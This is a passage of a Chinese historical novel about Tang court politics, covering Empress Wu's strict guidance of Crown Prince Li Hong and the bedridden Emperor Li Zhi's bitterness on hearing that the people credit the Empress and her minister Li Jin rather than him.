李弘看得心头火起,提笔在旁批道:“若所奏属实,裴某行同豺虎,不杀不足以平民愤!当交有司严查,按律重惩,并抚恤死者家属,以安民心。” 批罢,犹自愤懑,对侍坐的太子左庶子张大安道:“张师傅,朝廷命官,牧守一方,本当爱民如子,岂可如此倒行逆施!此等酷吏,必严惩不贷!”
张大安年近五旬,是位以儒学、史学着称的官员,性格较为持重。他接过奏疏看了看,捻须道:“殿下仁心,嫉恶如仇,实乃万民之福。然御史风闻奏事,未必句句属实。同州裴刺史,臣略有耳闻,出身河东裴氏,为官素有能名,去岁同州粮赋,完纳甚速,颇得上考。此事……或另有隐情,亦未可知。且裴氏在朝在野,颇有人望。依臣愚见,殿下批语,是否稍显急切?不若先批‘着有司勘实,再议’?”
李弘闻言,激动道:“张师傅!强占民田,逼死人命,此乃大恶!若因他是世家子弟,或颇有能名,便可纵容,那国法何在?公道何存?我读圣贤书,知‘民为贵,社稷次之,君为轻’。为君者,自当为民做主!此事证据虽未确凿,然既有此告,岂能不闻不问,含糊了事?我意已决,当请母后严查!”
见太子态度坚决,张大安不好再劝,只道:“殿下心系黎民,臣感佩。只是……”他迟疑了一下,低声道,“殿下批阅奏疏之见,终究需呈报皇后殿下定夺。皇后殿下执政,于吏治尤为看重,或有更周全考量。”
李弘听出张大安话中婉转的提醒,眉头微皱,但并未改变主意,将批注好的奏疏放在一旁,准备稍后一并送入宫中。
午后,批阅过的奏疏摘要被送至延英殿。武则天在处理完紧急军务后,开始翻阅太子今日的“功课”。看到那份关于同州刺史的弹章及李弘的批注时,她的眉头微微蹙起,但并未立刻发作。她将那份奏疏单独抽出,又仔细看了一遍御史的弹劾内容和李弘的批语。
“弘儿……”她低声自语,指尖在李弘那略显激愤的字迹上轻轻划过。嫉恶如仇,心系百姓,这是仁君的潜质。但为君者,仅有仁心,远远不够。
次日,李弘被召至延英殿。武则天没有像往常那样让他看新奏疏,而是将那份弹章推到他面前。
“弘儿,你对此案,坚持己见?”她的声音平静,听不出喜怒。
李弘躬身道:“回母后,儿臣以为,若查证属实,裴某罪大恶极,当依律严惩,以儆效尤,并抚恤苦主,以彰朝廷公道。”
武则天看着他,缓缓道:“你能明辨是非,心存怜悯,这很好。但治国理政,尤其是处置官员,需权衡全局,不可只凭一腔义愤。你可知这裴刺史是何人?”
“儿臣略知,乃河东裴氏子弟。”
“河东裴氏,自西魏、北周以来,便是关陇着姓,与本朝皇室、诸多勋贵联姻,门生故吏遍布朝野。同州地处京畿,裴某在此任刺史,岂是无因?”武则天语气转冷,“御史弹劾,未必无因,然‘强占民田,逼死人命’八字,分量极重。你批‘按律重惩’,可曾想过,若查无实据,或事出有因,并非如此严重,你当如何?若因此引发裴氏及其关联势力不满,甚至串联抵制朝廷政令,又当如何?”
李弘怔了怔,他确实未想那么深,只觉善恶分明,当断则断。“母后,若因顾忌其家世,便纵容贪酷,那国法威严何在?天下百姓又将如何看待朝廷?”
“国法自然要维护,贪酷也必惩。”武则天语气斩钉截铁,“但需有实据,需有策略。你可知,我已命刑部、御史台各遣精干员吏,密赴同州,暗中查访?非但要查裴某是否强占逼命,亦要查那‘苦主’底细,查御史因何上此弹章,查同州其他官吏对此事态度,甚至要查裴某在任期间,政绩如何,有无其他劣迹或善政。待证据确凿,各方情形了然于胸,再作处置,或严惩,或轻责,或调离,方能既正·国法,又安人心,亦不至激起不可控之波澜。”
她看着儿子有些发白的脸,语气稍缓:“你以为,为娘执政,便可不顺心意为所欲为吗?牵一发而动全身。处置一个刺史,尤其是有背景的刺史,需考虑朝局平衡,考虑世家反应,考虑地方稳定。雷霆手段,需在握有确凿证据、权衡利弊之后。一纸批文容易,但引发的后果,或许远超你所想。你批‘严惩’,痛快是痛快,但若打草惊蛇,让裴某有了防备,销毁证据,或串联朝中力量反扑,使得调查受阻,甚至引发更大风波,岂非事与愿违?届时,真正的冤屈未必能申,朝廷威信反而受损。”
李弘沉默了。母亲的思虑,远比他要深远、复杂,也……冷酷。在他心中非黑即白的事情,在母亲那里,却充满了灰色的权衡与算计。
“可是,母亲,”他抬起头,眼中带着一丝困惑与坚持,“若事事皆需如此权衡顾忌,那正义公道,何时才能伸张?那被逼死的百姓,其冤屈难道就要在权衡中拖延、淡化吗?圣人有云:‘见义不为,无勇也。’”
武则天看着儿子眼中那近乎执拗的纯善光芒,心中掠过一丝复杂的情绪。是欣慰?还是失望?或许兼而有之。她希望儿子仁德,但绝不希望他成为一个只有仁德、不识时务、不懂权变的君主。那样的君主,在这虎狼环伺的朝堂,在这偌大的帝国,是坐不稳江山的。
“正义需伸张,但需有智慧、有策略地伸张。”武则天的声音带着不容置疑的权威,“鲁莽的正义,有时反而会害了你想保护的人,坏了更大的局面。此事我自有主张,你不必再过问了。你的批注,我会让中书舍人重新拟定。”
李弘垂下头,双手在袖中微微握紧,低声道:“是,儿臣……明白了。” 但他心中那点灼热的东西,似乎被浇上了一盆冷水。他感到一种无力,还有一种淡淡的疏离。母亲的道理,他无法反驳,但那似乎不是他内心信奉的、圣贤书中所讲的道理。
这次小小的冲突,似乎只是一个开始。此后,类似的情形屡有发生。李弘看到受灾奏报,主张立即大开仓廪,全力赈济;武则天则要考虑国库储备、漕运能力、防止灾民聚集生变,主张分级、分地、分时赈济,并以工代赈为主。李弘听闻某地有孝子为母申冤,感动不已,主张朝廷旌表,破格录用;武则天则要查证其事迹真伪,考量其才学是否堪用,避免因一人之“孝”坏了选官法度。李弘读史,常感慨于太宗皇帝虚怀纳谏,与魏征君臣相得;武则天则更看重太宗运筹帷幄、制衡朝堂的权术与果决,提醒他“兼听则明”固然重要,但“乾纲独断”亦不可少,君主不可被臣下意见左右,需有自己主见。
每一次,李弘都能从母亲那里学到更实际、更周全的考量,但每一次,他心中那种理想化的政治图景,与现实冰冷的政治运作之间的裂痕,就加深一分。他开始感到疲惫,甚至有些畏惧与母亲讨论政务。他觉得自己就像个蹒跚学步的孩童,在母亲那双能看透一切、掌控一切的目光注视下,总是显得笨拙、天真、不合时宜。
更让李弘感到压抑的,是东宫属官和身边一些宫人若有若无的叹息和低语。他们不敢明言,但李弘能感受到那种氛围。当他批注的奏疏被发回修改,当他的建议被母亲驳回或大幅调整,当他在母亲面前因为“思虑不周”而受到含蓄的批评时,总有一些目光交织着同情、惋惜,甚至是一丝不易察觉的……怂恿?
太子宾客许敬宗,偶尔会在讲经之余,似是无意地提及“古之储君,年长则应预闻政事,乃至监国”,“孝道之大,在于承志,亦在于继业”。太子右庶子张大安,也会在讲解《春秋》时,强调“国君当有独立之见,不可尽从于人”。就连身边伺候笔墨的老宦官,有时也会在他独处郁闷时,低声念叨几句“殿下仁孝,天下皆知”,“陛下昔年为太子时,太宗皇帝便多有倚重”之类的话。
这些话语,如同水滴,悄无声息地渗入李弘的心田。他开始更多地思念起在寝宫养病的父亲。父亲虽然病重,但每次他去请安,父亲总是温和地询问他的学业、身体,偶尔谈起他幼年趣事,目光中充满了慈爱和……一种李弘在母亲严厉审视下很少感受到的、纯粹的舐犊之情。父亲也会询问一些朝政,但多是听他说,很少像母亲那样直接、犀利地指出他的“错误”或“不足”。在父亲面前,李弘感到更放松,更自在,更像一个儿子,而不是一个时刻需要被纠正、被锤炼的储君。
他开始有意无意地,在母亲过问他的学业和政务见解时,给出更符合经典教义、更“正确”但也更保守的回答;而在探望父亲时,则会流露出更多的真实情绪,甚至偶尔会委婉地表达一些对母亲过于严苛的困惑与压力。他并未意识到,这种差异,正在他母子之间,划下一道细微却日渐清晰的裂痕。
这一日,李弘从父亲寝宫请安回来,心情似乎好了些。武则天正在审阅北门学士草拟的、关于修改《氏族志》的初步方案,见他进来,便随口问起今日与陛下谈了些什么。
李弘照实回答,说父亲关心他的咳嗽是否痊愈,问了问近日读何书,又谈起当年太宗皇帝命人编纂《氏族志》,以当朝官爵定高下,抑制旧士族气焰的往事。
武则天闻言,目光从奏疏上抬起,看了儿子一眼:“哦?陛下还说了这个?陛下对此事,有何看法?”
李弘道:“父皇只是忆及旧事,说皇祖父此举,意在‘崇重今朝冠冕’,使天下英才尽入彀中。还勉励儿臣,日后若……若担当大任,亦当知人善任,不必过于看重门第。”
武则天嘴角微微牵动了一下,似笑非笑:“陛下圣明。崇重今朝冠冕,确是要务。本宫正欲重修《氏族志》,亦是为了此意。弘儿,你对此有何见解?”
李弘迟疑了一下。他读过母亲示意北门学士起草的方案纲要,其中大幅提升武氏、以及诸多当朝新兴勋贵、科举入仕寒门的等级,而将一些早已没落却仍以门第自矜的旧士族降等。这用意他很清楚。但联想到父亲今日提及此事时,那平淡语气下似乎隐含的一丝对“太宗旧制”的追缅,他心中莫名地有些异样。
“儿臣以为……皇祖父当年编纂《氏族志》,确有深意。母后欲重修,以合时宜,亦属应当。只是……”他斟酌着词句,“门第观念,积习已久。骤然变更,恐引物议。是否……是否可稍缓图之,或更委婉些?”
武则天静静地看着他,目光锐利如刀,仿佛要穿透他的内心,看清他这番话背后,究竟有多少是他自己的想法,有多少是受了病榻上那位皇帝,或者东宫那些师傅们的影响。
殿内的空气似乎凝固了。良久,武则天才缓缓开口,声音听不出情绪:“物议?弘儿,你可知何为物议?物议便是那些占着祖宗余荫,尸位素餐,却瞧不起寒门俊杰的旧族之议!便是那些自己无才无德,却嫉恨他人凭本事晋升的腐朽之论!朝廷取士,当以才德为本,岂能固于门第?陛下既然也赞同‘崇重今朝冠冕’,重修《氏族志》,正是践行此道。你身为储君,未来天下之主,岂可因畏惧些许物议,便裹足不前?”
她的声音不高,但每一字都带着沉甸甸的分量,敲在李弘心上。“委婉?如何委婉?将武家列入一等,便不委婉了吗?将那些科举入仕、为朝廷立下功勋的寒门才俊提升等级,便不委婉了吗?弘儿,你要记住,为君者,欲行利国利民之政,必会有阻力,有非议。若因畏惧物议便畏首畏尾,何以成事?何以治国?”
李弘被母亲的目光和话语逼视得低下头,手心渗出冷汗,心中那点因见到父亲而升起的暖意,瞬间消散无踪,取而代之的是一种熟悉的、近乎窒息的压迫感。他讷讷不能言,只能道:“儿臣……儿臣知错。母后教训的是。”
武则天看着他这副模样,心中那股无名火气,混杂着一丝难以言喻的失望与疲惫,翻涌上来。她挥了挥手,语气带着显而易见的倦意:“罢了。你今日也累了,回去歇着吧。将《商君书》‘更法’、‘垦令’二篇抄写三遍,明日送来我看。”
“是,儿臣告退。”李弘如蒙大赦,躬身退出殿外。
走出延英殿,初春的寒风扑面而来,让他打了个冷颤。他回头望了一眼那灯火通明、却让人感到无比压抑的殿阁,又转头望向父亲寝宫的方向,眼中流露出深深的迷茫与一丝不易察觉的委屈。
殿内,武则天独坐案前,良久未动。高延福悄悄上前,为她换了一盏热茶。她端起茶盏,却没有喝,只是望着袅袅升起的热气,目光深邃。
儿子长大了,有了自己的想法,这本是好事。但他那些想法,却似乎总与自己格格不入。是那些东宫师傅们教的?还是……他父亲影响的?李治,她的夫君,那个曾经依赖她、如今却困于病榻的皇帝,他究竟对儿子说了什么?他躺在那里,又在想什么?
她想起李弘眼中偶尔闪过的、对她严格教诲的畏惧与不解,想起他提起父亲时那不自觉流露出的亲近与依赖。母子之间,那道因政务见解不同、教育方式差异、以及那个卧病在床的皇帝的存在,而悄然滋生的缝隙,似乎正在慢慢扩大。
她放下茶盏,发出一声几不可闻的叹息。这叹息中,有无奈,有严厉,或许,也有一丝深藏于严厉之下的、属于母亲的忧虑与疲惫。帝国的未来,权力的传承,母子的亲情……这一切交织在一起,构成了一张复杂而脆弱的网。而她,正站在这张网的中心,稍有不慎,便是满盘皆输。
“传话给许敬宗、张大安,”她忽然开口,声音恢复了平日的冷静,“太子近日功课繁重,身体欠安。让他们讲经之时,多注重圣贤修身养性之道,少些空谈妄议。太子年轻,易受外言蛊惑,需专心学业,涵养德性。”
“是。”高延福心中一凛,连忙应下。他知道,皇后殿下这是对东宫那些有意无意“教导”太子与母亲政见相左的师傅们,发出了警告。而这微妙母子关系的裂痕,或许才刚刚开始。
第191章 卧榻听政事
长生殿内室,浓重的药味常年不散,混杂着龙涎香也压不住的、从病体深处透出的淡淡衰颓气息。窗牖被厚重的锦帘遮得严严实实,只留东面一扇高窗,透进一缕惨淡的天光,勉强照亮御榻周围方寸之地。光线中,尘埃无声浮沉。
李治半倚在堆积如山的锦褥之中,身上盖着明黄缎被,面色是一种久不见日光的苍白,颧骨微微凸起,眼窝深陷,唯有那双眼睛,在听到关键处时,仍会倏然闪过锐利的光,提醒着旁人,这具被风疾和眩晕反复折磨的躯体里,依然栖息着一位曾经意气风发、如今却动弹不得的帝王之魂。
他刚服过汤药,精神略好些,便急不可耐地召见了眼前之人——内侍监、知内侍省事王德真。王德真是宫中的老人,自李治为晋王时便随侍左右,性格谨慎,口风极严,是李治如今为数不多还能完全信任的耳目。
王德真跪在榻前不远处的锦垫上,身体前倾,声音压得极低,却足够清晰,将宫外朝堂的种种,一一禀报。
“……同州裴刺史那案子,皇后殿下命刑部、御史台遣人密查,已有初步回报。强占民田属实,但亩数不及弹章所言之半,且其中部分有旧契纠纷。至于逼死人命一节,”王德真顿了顿,声音更低,“那农户入狱后,确系染疾身亡,狱中有记录。其妻投水是真,然邻里传言,此妇素有心疾,与夫感情不睦,其夫下狱后,曾与娘家兄弟争执……”
李治闭着眼,手指在锦被下无意识地捻动着,闻言,嘴角牵起一丝几不可察的、近乎冷笑的弧度:“这么说,是御史风闻,夸大其词了?抑或是……有人想借题发挥,动一动河东裴氏?”
“奴婢愚钝,不敢妄测。”王德真将头垂得更低,“皇后殿下已下旨,裴某强占民田,虽事出有因,亦有违官箴,着贬为别驾,安置远州。所占田亩,悉数退还,并罚俸一年,以赎其罪。至于其妻族涉讼之事,另由地方有司审理。御史风闻不实,罚俸三月,以儆效尤。”
“呵……”李治轻轻吐出一口气,不知是讥讽还是疲惫,“雷霆雨露,俱是君恩。贬了裴某,罚了御史,田也退了,民愤也可平息一二。河东裴氏那边,也说不出什么。皇后……处置得妥当。”
他语气平淡,听不出喜怒,但“妥当”二字,却隐隐透着一股说不出的滋味。是肯定,还是对自己无法亲自处置、只能听人转述结果的无奈?
“太子……”李治忽地睁开眼,目光投向那缕微光,“太子对此事,原先如何看?”
王德真心中一凛,知道这才是今日皇帝真正关心的事情之一。他小心回道:“听闻太子初闻此事,甚为震怒,批语道‘若所奏属实,行同豺狼,不杀不足以平民愤’,主张严查重惩。”
李治眼中掠过一丝微弱的光彩,像是死灰中骤然跳起的一点火星,但随即又黯淡下去。“后来呢?”
“后来……皇后殿下召太子问对,似乎……有所训导。太子殿下之后……便未再就此事多言。批注也……按皇后殿下之意改了。”
寝殿内陷入沉默,只有李治略显粗重的呼吸声,以及更漏滴滴答答、催人心魄的声响。良久,李治才缓缓道:“弘儿……心是好的。仁孝,嫉恶如仇。只是……这朝堂,这天下,岂是仅有黑白善恶那般简单。” 他像是在对王德真说,又像是在自言自语,语气里带着深深的疲倦,和一丝难以言喻的复杂情绪。是欣慰于儿子的仁德?还是忧虑于他的天真?抑或是对那个教导儿子、将儿子“仁德”批注轻易改动的女人,感到一种无力的疏离?
“太子近日,学业、身体如何?”李治换了个话题,似乎不愿在刚才那个问题上多作纠缠。
“太子殿下勤勉,每日批阅奏疏摘要,听师傅讲经,不曾懈怠。只是……”王德真斟酌着词句,“只是偶尔似有郁结,气色不大好。太医请过脉,只说思虑稍重,肝气略有郁结,宜宽心静养。皇后殿下也颇为关切,常命尚食局调制药膳送去东宫。”
“郁结?”李治重复了一遍,目光投向床顶繁复的藻井花纹,那里雕刻着龙凤祥云,此刻在昏暗的光线下,显得有些模糊而扭曲。“他还是个孩子……担子太重了。皇后……要求太严了。”
最后一句,声音很轻,近乎呢喃,却让王德真背后沁出一层薄汗,将头埋得更低,不敢接话。
“说说别的吧。”李治似乎也觉得失言,转而问道,“朝中近日,还有何事?”
王德真定了定神,继续禀报:“近日朝议,多在明年开春的劝农、水利之事。皇后殿下已命工部、户部、司农寺拟定详细章程,着令各道州县提前准备。还有,关于修改《氏族志》之议,北门学士已拟出数稿,听闻皇后殿下颇为重视,常与许相、李相(李义府)等人商议,似有借明年可能筹备的封禅大典之机,推动此事之意。”
“封禅……”李治眼中闪过一丝恍惚,那是帝王功业的顶峰,是他登基之初便怀有的梦想。如今,朝臣们议论封禅,是因为四海升平,国力渐复吗?还是因为……那个女人,需要这样一场盛典,来昭示她的权威,稳固她的地位?他感到胸口一阵憋闷,忍不住咳嗽了几声。
王德真连忙起身,小心地为皇帝抚背顺气,又递上温水。李治喘息稍定,挥挥手,示意他继续。
“另外,”王德真声音压得更低,几乎如同耳语,“外间有些……议论。”
“什么议论?”李治的咳嗽止住了,目光陡然变得锐利。
“多是些无知小民、坊间闲汉的胡言乱语,”王德真谨慎地选择着词汇,“说什么……如今朝廷是‘二圣临朝’,又说……皇后殿下英明果决,胜过……胜过许多须眉。还说梁国公李瑾坐镇枢密,与皇后殿下内外相得,乃是朝廷之福……诸如此类。”
“二圣临朝?”李治咀嚼着这四个字,脸色在昏暗的光线下显得更加苍白。他知道,这未必全是“无知小民”的议论。朝野上下,只怕持此看法的,大有人在。媚娘处理政务,井井有条,甚至比他健康时,显得更加高效、果断。李瑾掌军,稳如泰山。他这个皇帝,除了在这长生殿内听着心腹的汇报,还能做什么?他就像一尊被供在神龛里的泥塑木偶,空有天子之名,却连这寝殿的门都难以迈出。
一股混杂着不甘、愤怒、羞辱和深深无力的情绪,如同毒藤般缠绕上他的心。他猛地攥紧了被褥下的手,手背青筋凸起,指节因用力而发白。
王德真感受到皇帝身上骤然散发出的凛冽气息,吓得噤声,伏地不敢动。
良久,那令人窒息的气息慢慢散去,取而代之的是一种更深的疲惫和苍凉。李治松开手,无力地瘫在锦褥中,声音沙哑:“还有吗?”
“……还有,是关于太子的。”王德真硬着头皮,将声音压到最低,“有传言说,太子仁厚,颇肖陛下当年。只是……只是近来,东宫属官中,似有人……私下议论皇后殿下对太子督责过严,太子常怀忧惧。也有人……将太子与皇后殿下对某些政务的不同见解,加以……比较。” 他没敢说“褒太子而抑皇后”,但意思已然明了。
李治闭上眼睛,良久,才从牙缝里挤出一句:“蠢货……这些人,是想害了弘儿吗?” 他太清楚了,媚娘最忌讳什么。东宫那些人,看似维护太子,实则是在太子和皇后之间钉下楔子,是将太子架在火上烤!弘儿那孩子,性子仁弱,如何经得起这般挑拨离间?一旦媚娘察觉……李治不敢想下去。
“陛下息怒,保重龙体。”王德真连连叩首,“都是些捕风捉影的闲话,当不得真。皇后殿下对太子殿下,要求是严了些,那也是望子成龙,用心良苦。”
“用心良苦……”李治重复着,嘴角那丝苦笑更深了。是,媚娘是在培养弘儿,用她自己的方式,严厉的、不容置疑的方式。可那方式,真的适合弘儿吗?弘儿需要的,是父亲这般温和的引导,还是母亲那般强势的塑造?朝堂需要的,是一个仁厚的守成之君,还是一个……像他母亲一样,甚至比他母亲更懂得权术制衡的君主?
他不知道。他只觉得一阵剧烈的头痛袭来,眼前发黑,耳中嗡嗡作响,熟悉的眩晕感再次攫住了他。
“药……药……”他艰难地吐出几个字。
王德真连滚爬起,冲到殿外,尖声唤着太医和宫人。一阵忙乱之后,李治被服侍着吞下另一剂镇静止痛的药丸,重新躺下,额上覆着浸了凉水的巾帕。
在药物带来的昏沉与钝痛间隙,他听到王德真小心翼翼告退的声音,听到宫人轻手轻脚收拾药碗的声音,听到更漏那永恒不变的、冷漠的滴答声。
一切又恢复了寂静,死一般的寂静。只有他沉重的呼吸,在这空旷而华丽的寝殿内回响。他睁着眼,望着床顶那一片模糊的黑暗。那些奏报,那些议论,那些关于皇后、关于太子、关于朝局、关于他自己的种种,像无数细碎的影子,在黑暗中飞舞、碰撞、交织。
“二圣临朝”……“内外相得”……太子“仁厚”……皇后“严苛”……
每一个词,都像一根细针,扎在他心头最脆弱的地方。他曾是天可汗,是万国来朝的大唐天子。如今,他却像个废物一样躺在这里,连自己的朝廷发生了什么,都需要靠宦官偷偷摸摸的禀报才能知道。他的皇后,代他执掌乾坤,挥洒自如,威权日重。他的儿子,在母亲的严厉教导和朝臣的微妙期许中,惶惑成长。而他,这个名义上拥有天下的皇帝,却什么也做不了,什么也改变不了。
一股咸腥涌上喉头,他猛地侧头,剧烈地咳嗽起来,宫人慌忙上前伺候,却被他用尽力气挥手挡开。他咳得撕心裂肺,仿佛要将五脏六腑都咳出来,苍白的脸上泛起病态的红晕。
终于,咳嗽渐止。他无力地瘫软回去,眼神空洞地望着上方。锦被下,他的手,再次死死地攥紧,指甲深深陷入掌心,带来一丝尖锐的痛楚,才让他感觉自己还活着,还是个人,而不只是一个会呼吸的摆设。
“媚娘……弘儿……李瑾……” 他在心中无声地念着这几个名字,每一个,都牵扯着他最复杂的情绪。爱、依赖、猜忌、不甘、恐惧、无奈……交织成一张无形的大网,将他牢牢捆缚在这方寸病榻之上,愈挣扎,缚得愈紧。
更漏声,滴滴答答,不紧不慢,像是计算着他所剩无几的、清醒而痛苦的时间。窗外,天光似乎更暗淡了些,又一个黄昏,即将笼罩这座华丽而寂寞的宫殿,笼罩着这位卧榻听政、却无力回天的帝王。
第192章 忠宦言外事
长生殿内,药香经年累月,已浸透了每一寸木料、每一幅帷幔,仿佛连空气都带着沉疴的味道。李治斜倚在隐囊上,身上搭着厚重的狐裘,脸色是久不见天日的苍白,眼窝深陷,唯有目光在投向跪伏在地的王德真时,还残留着属于帝王的、锐利而疲惫的审视。
“外间……近日有何新鲜事?”李治的声音有些沙哑,问得随意,仿佛只是久病无聊,想听些闲话解闷。
王德真却将头垂得更低,花白的发髻在昏暗光线下微微颤动。他今日奉召,心知肚明陛下想听的,绝非市井笑谈。他斟酌着,从一些无关痛痒的坊间趣闻、年节筹备说起,语气谨慎,字斟句酌。
李治闭着眼听,手指在狐裘柔软的毛皮上无意识地划动。直到王德真说到今冬长安炭贵,皇后下令开放部分宫苑储炭,平价售与贫民,又命东西两市增设粥棚,引得百姓称颂“天后仁德”时,他的手指微微一顿。
“哦?百姓……都感念皇后仁德?”李治睁开眼,目光平静地看向王德真。
王德真心中一紧,忙道:“是……是。天后殿下体恤民艰,百姓自然感恩戴德。” 他顿了顿,又补充道,“去岁多地水患,今岁北地又有雪灾,幸赖天后殿下调度有方,李相公(李瑾)在枢府协调粮秣转运,方能及时赈济,未酿成大乱。市井间……亦有称颂李相公‘能臣干国’之言。”
“李相公……”李治咀嚼着这个称呼,语气听不出喜怒,“百姓倒也知他。”
王德真不敢接这话,只得顺着往下说:“还有……开春后,朝廷似要修缮关中几处重要水渠,以利农耕。听说也是天后殿下采纳了李相公早前的建言,工部与司农寺已开始勘测规划。民间有老农言,若此事能成,关中粮产可增,是利在千秋的好事。都说……都说天后圣明,李公贤能。”
寝殿内一时寂静,只有铜兽香炉里飘出的青烟,袅袅婷婷,勾勒出无形的压力。李治沉默了片刻,忽地轻轻笑了一声,那笑声干涩,带着痰音,在寂静的殿中显得格外突兀。
“天后圣明,李公贤能……”他重复着,目光转向高窗外那一方被窗棂切割得支离破碎的灰白天空,“那朕呢?百姓……还知有朕这个皇帝吗?”
“陛下!”王德真浑身一颤,以头触地,惶恐道,“陛下乃真龙天子,万民之主,百姓岂能不知!市井愚民,无知妄言,陛下万万不可放在心上!陛下龙体欠安,静心修养,方是社稷之福,万民之愿啊!”
“万民之愿?”李治的眼神空洞,仿佛穿透了宫殿的穹顶,望向某个虚无之处,“他们或许更愿意见到一个能让他们吃饱穿暖、不受冻馁的‘天后’,和一个能替他们修渠筑坝、转运粮草的‘李公’吧?朕这个躺在深宫、连起身都需人搀扶的皇帝,除了占着这名位,还能给他们什么?他们……又如何会记得朕?”
他的声音不高,甚至有些虚弱,但字字句句,却像浸透了冰碴,砸在王德真心上,让他遍体生寒。他知道,有些话,陛下今日是非听不可了,而他,这个侍奉了陛下几十年的老奴,有些实情,或许也到了不得不说的时候。
“陛下……”王德真抬起头,老眼含泪,脸上皱纹因激动和恐惧而深深蹙起,“奴婢……奴婢有罪!有些话,压在心中许久,如鲠在喉,今日斗胆,拼着这条老命,也要禀告陛下!”
李治的目光落回他身上,带着一丝疲惫的审视:“说。”
王德真深吸一口气,仿佛用尽了全身力气,才将那惊心动魄的话语挤出喉咙:“陛下久不视朝,外界……外界只知有‘二圣’!不……如今在许多百姓,甚至一些偏远州县胥吏心中,只知有‘天后’与‘李公’!奏章直达中书、门下,批红出自皇后殿下;政令通行天下,皆言‘奉天后敕’;边镇军情急报,先入枢密院,由梁国公(李瑾)处置;就连……就连今年新科进士唱名夸街,百姓欢呼,喊的都是‘天后万岁’、‘李公贤明’!陛下……陛下的名讳,除了在正式的诏书上,除了年节庆典时那一声程式化的‘圣人万岁’,除了……除了这大明宫、这长安城的宫墙之内,还有人时时提起吗?”
他声音发颤,带着哭腔,却字字清晰,如同最锋利的锥子,一下下刺穿着李治早已千疮百孔的自尊与威严。
“奴婢前日奉命出宫,采办些药材。在东西市,听得茶楼酒肆,说书人讲的,是皇后殿下如何英明果断,处置贪官,赈济灾民;是梁国公如何运筹帷幄,安定边陲。偶有人提起陛下,也多是‘陛下圣体如何了?’、‘愿陛下早日康复’之类的空话。甚至……甚至有那等无知妄人,酒后胡言,说什么……说什么‘牝鸡司晨,惟家之索’是腐儒之见,如今这‘牝鸡’司晨,天下不也太平得很?还说……还说若陛下一直……一直圣体违和,有天后与李公在,江山也一样稳固……”
“放肆!”李治猛地坐直了身体,脸色因极致的愤怒和耻辱而涨红,随即又转为骇人的青白。他剧烈地咳嗽起来,指着王德真,手指颤抖,却说不出完整的话。
王德真连连磕头,额角顷刻间一片青红,涕泪横流:“陛下息怒!陛下保重龙体!奴婢该死!奴婢只是……只是不忍见陛下被蒙在鼓里!陛下是天子!是这大唐江山唯一的主人啊!可如今……如今外界眼中,只有垂帘的天后,只有掌枢的国公!陛下……陛下您……” 他泣不成声,伏地不起。
李治咳得撕心裂肺,仿佛要将五脏六腑都咳出来。宫人内侍慌忙涌上,抚背的抚背,递水的递水,乱成一团。好半晌,他才喘过气,颓然倒回隐囊中,胸口剧烈起伏,眼神却直勾勾地盯着帐顶繁复的藻井,那里面龙凤盘旋,此刻却像一张巨大的、嘲笑的网,将他牢牢罩住。
“唯一的主人……呵呵……哈哈哈……” 他忽然低笑起来,笑声嘶哑,充满了无尽的悲凉与自嘲。“朕是主人……一个连寝殿都出不去的……主人……一个连百姓都快忘记模样的……主人……”
“陛下……” 王德真抬起泪眼模糊的脸,心痛如绞。
“你继续说,”李治止住笑,声音冰冷得没有一丝温度,“他们还说了什么?太子呢?他们可还提起太子?”
王德真抹了把脸,哽咽道:“太子殿下仁孝,天下皆知。百姓……百姓提起太子,多是赞颂其仁德。只是……只是……” 他犹豫了一下,觑着皇帝的脸色,硬着头皮道,“只是也有议论,说太子殿下……性子似稍嫌仁弱,不如……不如皇后殿下果决。东宫属官中,似也有人……私下为太子殿下抱不平,言皇后殿下督责过严,恐非太子之福……”
“蠢!愚不可及!”李治咬牙,从牙缝里迸出几个字,不知是在骂那些议论者,还是在骂东宫那些“抱不平”的属官。他当然知道那些人在想什么,他们以为是在维护太子,实则是将弘儿架在火上烤!是在离间他们母子!是在他李治还活着的时候,就急不可耐地为一个“仁弱”的太子将来可能面临的局面“未雨绸缪”!他们是想让弘儿成为众矢之的,是想让媚娘对弘儿……
一股寒意,比这殿中的地龙暖气更难以驱散,从脊椎骨升起,瞬间蔓延全身。他感到一种深入骨髓的恐惧,不是对死亡的恐惧,而是对他死后,对这大唐江山、对他那仁孝却未必能驾驭这复杂局面的儿子未来的恐惧。
“还有什么?一并说了!”李治的声音透着一种近乎绝望的冷静。
“还……还有,”王德真声音发干,“近来朝野间,关于封禅泰山的议论,日渐增多。皆言如今天下渐安,四夷宾服,正是彰显陛下与皇后殿下功德之时。尤其……尤其是皇后殿下临朝这些年来,赈灾、用人、安边,皆有建树,李公在枢府,亦整饬军务,稳固边防……此乃……此乃千古未有之盛事,合当封禅告天,以传后世……”
“封禅……”李治喃喃道,眼前仿佛出现了泰山巍峨的景象,那是帝王功业的巅峰。曾几何时,这也是他的梦想。可如今,这“千古未有之盛事”,这需要他去“告天”的功绩,有多少是真正属于他李治的?是那个卧病在床、连奏章都看不清的皇帝李治的?还是那个垂帘听政、批红如流的天后武媚的?是那个坐镇枢密、总揽军机的梁国公李瑾的?
“他们……是要朕拖着这残躯病体,去泰山之巅,向天下人昭示,朕这个皇帝,不过是沾了皇后和臣子的光,才配得上这封禅大典吗?”李治的声音很轻,却带着锥心刺骨的痛楚和讥讽。
王德真伏地颤抖,不敢回答。
李治不再看他,目光重新投向那片灰白的天空。良久,他用一种疲惫到极点的声音吩咐:“你下去吧。今日所言,烂在肚子里。若有半句泄露……”他没有说下去,但那未尽的威胁,比任何疾言厉色都更令人胆寒。
“奴婢明白!奴婢明白!”王德真如蒙大赦,连连叩首,躬身倒退着出了寝殿,直到殿外冰冷的空气扑面而来,他才发觉自己里衣已被冷汗浸透,两腿发软,几乎站立不住。他回头望了一眼那紧闭的、象征着无上皇权却也如同囚笼般的殿门,心中五味杂陈。他今日的“忠心”,究竟是救了陛下,还是将陛下推向了更深的痛苦与绝望?他不知道。他只知道,有些脓疮,不挑破,只会烂得更深。
殿内,李治独自躺在无边无际的寂静与药味中。王德真的话语,如同最恶毒的诅咒,在他脑海中反复回响。
“只知天后、李公,不知陛下……”
“牝鸡司晨,天下太平……”
“太子仁弱……”
“封禅告天,彰显功德……”
